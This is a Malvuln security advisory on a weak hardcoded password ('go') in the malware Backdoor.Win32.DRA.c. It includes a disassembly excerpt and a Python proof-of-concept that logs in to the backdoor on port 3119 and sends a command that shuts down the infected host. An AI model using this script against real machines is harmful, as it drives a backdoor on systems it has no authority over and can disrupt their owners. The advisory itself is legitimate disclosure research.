Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/5ff832ce6af4b03a709eaf380672cf34.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.DRA.c
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 3119 and authentication is required. However, the password "go" is weak and hardcoded in the PE file. The malware uses "lstrcmpa" Win32 API to check the password, when sending the password we need to be careful that there is no line feed "\n" E.g. "go\n", as what happens when sent using ncat or telnet causing authentication to fail.

00401317                 jz      loc_401218
0040131D                 push    offset aGo      ; "go"
00401322                 push    offset buf      ; lpString1
00401327                 call    lstrcmpA

0040131D | 68 7C 40 40 00           | push backdoor.win32.dra.c.5ff832ce6af4b | 40407C "go"
00401322 | 68 8C 46 40 00           | push backdoor.win32.dra.c.5ff832ce6af4b |
00401327 | E8 F4 0C 00 00           | call <backdoor.win32.dra.c.5ff832ce6af4 |
0040132C | 83 F8 00                 | cmp eax,0                               |
0040132F | 74 2C                    | je backdoor.win32.dra.c.5ff832ce6af4b03 |
00401331 | 6A 00                    | push 0                                  |
00401333 | 6A 11                    | push 11                                 |
00401335 | 68 11 4C 40 00           | push backdoor.win32.dra.c.5ff832ce6af4b | 404C11 "invalid password."
0040133A | FF 35 16 4B 40 00        | push dword ptr ds:[404B16]              |
00401340 | E8 53 0D 00 00           | call <backdoor.win32.dra.c.5ff832ce6af4 |
00401345 | 83 F8 FF                 | cmp eax,FFFFFFFF                        |

Type: PE32
MD5: 5ff832ce6af4b03a709eaf380672cf34
Vuln ID: MVID-2022-0470
Disclosure: 01/24/2022


Exploit/PoC:
Using ncat, telnet will fail as it sends a new line "\n", so we use a makeshift Python agent.
Sending the command "Run z\r\n" will initiate a shutdown of the infected host.

from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=3119


def conn():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))
    return s

def chk_res(s):
    res=""
    while True:
        res += s.recv(512)
        if "Connected :-) !" in res or "invalid password" in res:
            break
    return res

def doit():

    s=conn()

    #Bad passwd
    PAYLOAD="hate\r\n"
    s.send(PAYLOAD)
    print(chk_res(s))
    s.close()

    time.sleep(1)

    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    #Correct passwd
    PAYLOAD="go"
    s.send(PAYLOAD)
    print(chk_res(s))

    time.sleep(1)

    #initiates a shutdown of the infected machine
    #s.send("Run c\r\n")
    s.send("Run z\r\n")
    
    s.close()


if __name__=="__main__":
    doit()
    print("Malvuln")


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